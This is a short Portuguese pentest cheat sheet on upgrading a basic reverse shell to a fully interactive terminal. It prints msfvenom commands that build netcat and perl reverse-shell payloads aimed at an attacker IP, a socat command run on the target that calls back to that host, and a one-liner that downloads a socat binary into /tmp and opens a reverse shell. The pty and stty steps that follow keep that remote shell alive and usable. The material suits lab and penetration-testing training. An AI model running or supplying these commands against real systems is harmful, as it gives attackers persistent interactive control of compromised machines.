📌 Descrição:
Quando pegamos uma Reverse Shell simples, nem todos os recursos ficam liberados e disponíveis. Isto faz com que os demais processos relacionados ao Pentest demorem mais. Alguns dos recursos limitados são:
STDERR
não é mostrado- Não é possível usar VIM
- Comandos como
su
ou ssh
não são acessíveis - Sem controle sobre histórico, tab-complete, etc
1
| msfvenom -p cmd/unix/reverse_netcat LHOST=10.0.3.4 LPORT=4444 R
|
1
| msfvenom -p cmd/unix/reverse_perl LHOST=10.0.3.4 LPORT=4444 R
|
🐚 Upgrading Shell
1
| python -c 'import pty; pty.spawn("/bin/bash")'
|
Na máquina Kali:
1
| socat file:`tty`,raw,echo=0 tcp-listen:4444
|
Na máquina alvo:
1
| socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
Se o socat
não estiver instalado, podemos tentar executar o upgrade enquanto baixamos o socat
pelo github
1
| wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
Comaçamos chamando um PTY como no primeiro comando, mas deixamos ele em segundo plano usando o CTRL+Z
1
| python -c 'import pty; pty.spawn("/bin/bash")'
|
Agora, vamos visualizar as configurações atuais do STTY para que consigamos deixar ambos estejam equivalentes
Enquanto o STTY ainda está em background, vamos definir a STTY atual para raw
agora execute os dois comandos
por final, fazendo o STTY que voltou com o fg
equivaler ao STTY do Kali
1
2
3
| export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
|
Em resumo:
1
2
3
4
5
6
7
8
9
10
11
12
13
| # In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
stty raw -echo
fg
# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
|